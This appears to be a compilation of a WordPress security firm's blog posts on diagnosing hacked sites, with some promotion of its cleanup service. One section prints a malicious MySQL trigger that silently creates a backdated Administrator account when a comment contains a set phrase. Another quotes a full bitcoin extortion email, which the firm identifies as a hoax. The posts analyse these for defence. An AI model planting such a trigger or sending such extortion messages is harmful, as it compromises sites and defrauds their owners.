Just Because a WordPress Plugin You Use Has a Vulnerability It Doesn’t Mean It Got Your Website Hacked

As we have talked about recently, there is often confusion over how websites have been hacked. One issue that comes up from time to time is the claim that a WordPress plugin that contains an unfixed minor vulnerability is the source of a hack. Here is one recent claim of that:

i would strongly urge you to remove it now. My site was hacked several times before I realized it was because of this plug in. It sucks because I was unable to find a replacement and have to do it by hand.

The vulnerability that is known to exist in that plugin would allow someone logged in to WordPress with the Contributor or Author role to cause malicious JavaScript code to be included on frontend pages on the website. (Higher level-users already have the capability to do the equivalent of that.)

Unless you have an untrusted individual with access to WordPress with the Contributor or Author role, either intentionally or because someone with that level of access had their account breached, you don’t have to worry about that. So the chances of that being exploited are slim.

It’s possible that the quoted individual had that situation, but almost no websites will, so the chances of the plugin being the cause of hacks on websites is very small.

Trying to figure out how a hacked WordPress website was really hacked is a standard part of our hack cleanup process for WordPress websites. Our hack cleanups include a free lifetime subscription to our Plugin Vulnerabilities service, which includes providing fixes for unfixed plugin vulnerabilities.

The Difference Between a Backdoor and a Vulnerability on Your Repeatedly Hacked Website

If you have a reoccurring problem with a hack of your website, there are multiple causes that could underly it. Two of those, a backdoor and a vulnerability, are sometimes confused. Understanding the difference is important to dealing with the problem.

A backdoor is some method for the hacker to continuing access to the website, which they place on the website. That often is a file that the hacker can send commands to on the website and those commands will run. Those backdoor files can sometimes be rather complex, but other times are really simple.

A vulnerability is an existing security issue on the website that gives a hacker some access they shouldn’t have.

A key difference between these two issues is how you deal with them. If you were to restore the website back to its state before the hacking, a backdoor couldn’t exist on the website. A vulnerability will still exist if you do that.

Another key difference is who has access in each situation. With a backdoor, only one hacker would have access, unless some other hacker figures out about their backdoor. A vulnerability, by comparison, could be exploited by many hackers.

We recently had someone come to us that thought there was a backdoor on their website, but the change being made with what they thought was a backdoor allowed any hacker access. What they actually had was a vulnerability they hadn’t addressed.

If you need help with a hacked website, we can help you.

Your WordPress Website Might Be Hacked if It Is Loading Very Slowly or Not Loading at All

We were recently contacted by someone looking to move their website off of WordPress because of downtime the website was experiencing. WordPress websites shouldn’t have problems with downtime unless something is going wrong with the website or the web hosting it is on. The solution to that wouldn’t be to move off of WordPress, but to address the problem. So what was going on?

When we went to view the website, we found that either it was slowly loading or not loading at all. Pulling up a cached copy of the website’s homepage through the Bing search engine, we were redirected to a malicious website. Viewing the source code of the cached copy of the homepage, we found that it contained obfuscated malicious code (the same code existed on the live website). So the problem here was that the website had been hacked. The solution to that is to clean up the hack, not switch to other software that could also be hacked.

If you are having a problem with your website, get in touch with someone who can assess what is going wrong. We can help you with that. If you need a hacked WordPress website cleaned up, we can also help with that.

Sucuri and MalCare Don’t Address the Source of Hacked Websites, Leading to Results Like This

Earlier in the week, we were mentioning that many hack cleanup providers don’t do the essential work of trying to figure out how websites were hacked. If you hire one of them, you might get lucky, and that doesn’t matter because the hacker hit the website once and moved on, but with more persistent hackers, that isn’t going to work out. Here is a fresh example of that involving two of those providers, Sucuri and MalCare:

A WordPress site I work for hosted on WPEngine has suffered from a malware attack. The attack was noticed when a consent management pop up started appearing on the home page. WPEngine’s security team from Sucuri hasn’t been much help as they’ve scanned and “removed” the problem 5 times now. I’ve also used a premium service from MalCare which did basically what Sucuri did, scanned said “it’s fixed” and then it came back.

That person tried a lot of things to deal with this:

I have enabled a number of security features including disabling enumeration, 2FA, custom wp login url, automatic password lockout after 2 tries, changing file permissions on certain files, enabled automatic alerts on file changing or file addition, deleted non essential users, changed passwords to all current users multiple times…

What they really need is to bring someone in who will work through trying to figure out how the hacking is continuing, addressing that, and trying to figure out how it started.

If you are in need of someone who will actually do that work, we do that for WordPress websites and other types of website.

Can you determine how a website has been hacked?

Your website has been hacked. A fairly obvious question is how was it hacked. Can you determine that? The short answer is maybe.

Another short answer is that many people you might bring in to deal with that won’t try to do that. They should. So why don’t they? A lot of them are using automated tools to do cleanups and they don’t have the expertise to try to figure out how it was hacked. Doing a (possibly poor quality) automated hack cleanup is cheap, having employees who do the work to try to determine how it got hacked, isn’t so cheap. There are further reasons they don’t do this. Many security providers’ businesses are built around security remaining poor, so finding and fixing new vulnerabilities isn’t a great for them. There is also the issue that many providers are partnered with sources of insecurity. One provider, Sucuri, is owned by GoDaddy, who admitted, belatedly, that their own insecurity got lots of customers’ websites hacked. Unsurprisingly, Sucuri doesn’t really try to figure out how websites are hacked.

Your best chance of figuring out how a website is hacked is bringing in someone who has experience trying to determine that as soon as possible. The longer you wait, the more likely that evidence, particularly logging, will be gone. If you bring in someone after a cleanup has been done, that will further limit the evidence available.

We wouldn’t recommend trying to figure this out yourself. We often deal with people that have to varying degrees tried that. We often find that they are suggesting possible sources of the hack that are not really possible or would be highly unlikely.

Even if you bring in someone who has a lot of experience doing this, they may not be able to determine the source of the hack, not because of a fault on their part. The fault is that there isn’t the evidence needed to determine this. For example, if a web host is getting hacked, most of the evidence of that would only be available to the web host. So someone else would only have circumstantial evidence to work with.

Even if the source can’t be determined, it is important to try to determine the source of the hack. A large reason for that we have found is that it helps to make sure the hack is fully cleaned up. We are often brought in to re-clean websites where there wasn’t attempt to determine that and when we do that we find parts of the hacked that were missed before.

The Location of Malware on a Website Probably Won’t Show Source of the Hack

It isn’t uncommon to see people claiming that certain software is the cause of their website being hacked based solely on malicious code being found in a file from the software. In reality, the files being impacted by malware usually have no connection with the cause of the hack. Instead, once the hacker has the ability to modify existing files, they can usually change any files. Sometimes hackers will modify all the files of a certain type. Other times, they will modify random files. They may also add new files in random locations.

There is one major exception to this. If a hacker gains access to the website through a vulnerability that allows uploading files to a certain location, then finding malicious files there is a strong indication that was the cause.

While the location of malicious code likely doesn’t tell you how the website was hacked, log files can go a long way to telling you that. That depends on having logging for the method of access the hacker used and that logging being available for when the website was hacked. If a hacker got in through FTP access, but you don’t have a log of that, then you are out of luck. If the hacker originally gotten in months ago, but the hack was only spotted recently, there is a good chance that logging is no longer available.

Even if you have logging available that would show the source of the hack, you need to be able to pick that out of the logging data. That is where having someone that deals with doing that on a regular basis will produce better results than trying to review the logging yourself.

The Cause of a WordPress Website Having User Registration Suddenly Enabled and the Default Role Being Set to Administrator

Oftentimes, when it comes to how WordPress websites have been hacked, it is hard to say without doing a proper cleanup what was the original source of the hack. But in some cases it is easy to say what was likely the cause. Take this description of what happened with a recently hacked WordPress website:

Yesterday at 23:08 I received an email from my wordpress “Admin Email Changed”: “[…]The new admin email address is ad@example.com.[…]”

Right after that, a new user registered, cryptic username “wpnew_kmyjzvfyoflv” This username had admin role!

Today in the morning when I realized, I checked, in the settings was “Anyone can register” checked and standard userrole is Administrator.

What you have there is a hacker being able to change three WordPress settings. The admin email address for the website, whether anyone can register for an account, and the default user role for new accounts. How could they do that? Either they would need the ability to directly change the content of the database used for the website or they would need to be able to change arbitrary WordPress settings.

You can rule out the first as the likely cause, as a hacker could, among other things, create a new Administrator account without going through additional steps if they have direct access to the database.

That leaves the second option. The cause of that is almost certainly going to be what is usually referred to as an option update vulnerability. That is a type of vulnerability that hackers are guaranteed to try to exploit if they know about them.

In addition to cleaning up whatever the hacker does once they have changed the WordPress settings, you need to make sure the vulnerability has been fixed to address this. That might be as simple as updating a plugin, if it has had that type of vulnerability and it has been fixed. If you don’t know what the source is and you don’t have the capability to figure that out, then it is time to bring in someone who has the capability to both review the log files for the website and review the plugins being used on the website.

How a Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

It is pretty common for it to appear that hacked WordPress websites have gotten re-hacked. What we find from being brought in to re-clean them is that often websites haven’t been re-hacked, instead the original cleanup was incomplete, leaving parts of the hack in place. Often that is because whomever did the original clean up cut corners during the cleanup, but it is also possible the hacker has hidden something in ways that it would be reasonable to have missed, based on what hackers commonly do.

A recent post on WordPress’ forum mentioned an example of the latter, which is worth highlighting. According to the poster, a database trigger was added to the database for the website, which would create a new WordPress user account for the hacker. A database trigger involves code that runs automatically in certain circumstances. The code was:

     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;

The second line of that causes the rest of the code to run if a new blog comment is created that contains the phrase “are you struggling to get comments on your blog?” in it.

The rest of the code creates a new WordPress user account with the username “wpadmin” that has the Administrator role. As is pretty common, the email associated with the account is made to look like it might be something official or security related. In this case it is “wp-security@hotmail.com”.

What is slightly more sophisticated than we usually see with malicious WordPress user accounts created through the database is that the account has a creation date, and one well in the past, “2014-06-08 00:00:00”.

It is important to note for anyone coming across this while trying to figure out how a malicious WordPress user account has been added or re-added, that there are other ways hackers can do this. For example, if a hacker has direct access to the database, then they can create an account. So if, say, the database password wasn’t changed when the website was being cleaned up, the hacker might be able to gain access to the database that way. It is also possible for them to indirectly access the database, say, with malicious code in one of the website’s files.

Often times you can start figuring out how the hacker has re-gained access to the website by reviewing the log files for the website. Even in this case, there would be activity from the hacker logged, from when they posted the comment. Though, it wouldn’t be obvious that it would be malicious activity, as it would be when a request is being sent to a file on the website that shouldn’t be there or that shouldn’t be receiving direct requests.

Spammers Still Pretending to Have Hacked Websites to Collect Bitcoins From Unwitting Website Owners

Yesterday we got a spam contact form submission claiming our website had been hacked and demanding a ransom. It is part of what looks to be a new large wave of an ongoing spam campaign, which has been going on for at least several years. It is a hoax and websites receiving the message have not been hacked. This was the message we received:


We have hacked your website https://www.whitefirdesign.com and extracted your databases.

How did this happen?

Our team has found a vulnerability within your site that we were able to exploit. After finding the vulnerability we were able to get your database credentials and extract your entire database and move the information to an offshore server.

What does this mean?

We will systematically go through a series of steps of totally damaging your reputation. First your database will be leaked or sold to the highest bidder which they will use with whatever their intentions are. Next if there are e-mails found they will be e-mailed that their information has been sold or leaked and your https://www.whitefirdesign.com was at fault thusly damaging your reputation and having angry customers/associates with whatever angry customers/associates do. Lastly any links that you have indexed in the search engines will be de-indexed based off of blackhat techniques that we used in the past to de-index our targets.

How do I stop this?

We are willing to refrain from destroying your site’s reputation for a small fee. The current fee is $2500 in bitcoins (BTC).

Please send the bitcoin to the following Bitcoin address (Copy and paste as it is case sensitive):


Once you have paid we will automatically get informed that it was your payment. Please note that you have to make payment within 7 days after receiving this e-mail or the database leak, e-mails dispatched, and de-index of your site WILL start!

How do I get Bitcoins?

You can easily buy bitcoins via several websites or even offline from a Bitcoin-ATM.

What if I don’t pay?

If you decide not to pay, we will start the attack at the indicated date and uphold it until you do, there’s no counter measure to this, you will only end up wasting more money trying to find a solution. We will completely destroy your reputation amongst google and your customers.

This is not a hoax, do not reply to this email, don’t try to reason or negotiate, we will not read any replies. Once you have paid we will stop what we were doing and you will never hear from us again!

Please note that Bitcoin is anonymous and no one will find out that you have complied.

In our case, it is rather obvious to be a false claim, since, among other things, the database for our website doesn’t contain any sensitive information that would be of any value to anyone or be a concern if it was released. Looking at the log for our website, the spammer only visited the contact page, which makes it more obvious that this is a hoax.

For others who don’t deal in security as we do, it is easy enough for someone to believe this could be true, but it is a hoax. Unfortunately, it looks like someone did fall for it.

Hacker Impersonated GoDaddy When Hacking GoDaddy Hosted WordPress Websites

While working on cleaning up a hacked WordPress website recently we found a hacker had tried to disguise some of what they were doing by making it seem like it was coming from GoDaddy. GoDaddy, possibly not coincidentally, was the web host for the hacked website we were dealing with.


The first element of this we found was a malicious plugin with the slug gd-stats. If you were looking at the Installed Plugins page in the WordPress admin area, you would see this information for that plugin:

That labels the plugin as being named GD-Stats and being from GoDaddy, Inc, though the link is to wordpress.com.

The description is weird:

Most leading CMS platforms like WordPress use Ajax in their architecture.

In looking to see if others had encountered a malicious plugin with the same name, we found a topic on WordPress’ forum from early in February where someone else hosted with GoDaddy had run into this:

This morning, I found that our WordPress website has been hacked by someone in Moscow. They uploaded the file “gd-stats.zip” then installed the plugin. Now when I go to our wordpress.org log in page, I put in my credentials, it takes me to a completely blank screen. When I went to our website, it doesn’t have the dashboard option available to log into. We’re hosted through GoDaddy. I’m waiting on their support team as well.

In a follow up they wrote this:

No it wasn’t Godaddy. It was from someone in Moscow who hacked our site at 4:30 AM. They installed the gd-stats.zip and the plug in but I finally got into our Godaddy account and deleted the plug in so we’re good now.

There was a reply from someone else with the same plugin, but no mention of the web host of the affected website.

For a hacker to add that plugin to the website they would already have to have access to the website in some way. In trying to determine what that was, we ran across a major problem, it appeared that GoDaddy had about a week before moved the website to a new cPanel account. That meant that among things, the last modified dates on malicious files were not meaningful, since it just listed the time of the move. It isn’t clear why that happened because of the partially unmanaged nature of the website at the time. Whatever was the case, the malicious plugin appeared to exist from before there was logging available that could have shed light on that. So we hit a dead end there.

Users Table

Another piece of the hack might help to further explain how the hack happened. In the WordPress database table storing the users of the website, _users, we found two non-legitimate Administrators accounts.

Both accounts were listed as being listed as being registered at 0000-00-00 00:00:00, which shows that they were not created through the normal registration process, since if they were, the time they were registered would be there.

Both of the accounts were also meant to look like they came from GoDaddy, with the usernames being:

  • gd_support
  • gd_sys_kafhi

Curiously the email address for them doesn’t use a GoDaddy-like domain, instead opting for wordpress.org.com:

  • gd_support@wordpress.org.com
  • gd_sys_kafhi@wordpress.org.com

Again we ran into a problem, since the logging isn’t available to see what it would show about how the hacker created those accounts.

There are several routes that could have occurred through. They could have been added through a SQL injection vulnerability on the website that allowed for adding things to the database, but most SQL injection vulnerabilities don’t permit that type of action, so that seems unlikely.

More likely would be that the hacker was able to get direct access to the database. That could be because of a security issue with the website, with the web host, or combination of the two. GoDaddy has had issues with improper security of database access, we posted about another hacked website where that came in to play in April.

February Time Frame

Looking at the session_tokens entries in the WordPress database’s _usermeta table, we found that one of those accounts was logged in to from a Russian IP address,, on February 4. That matches up with what was described in that WordPress forum topic.

Notifying GoDaddy

We are going to contact GoDaddy’s security team to let them know about this impersonation and maybe they can check if other websites they host still contain that plugin.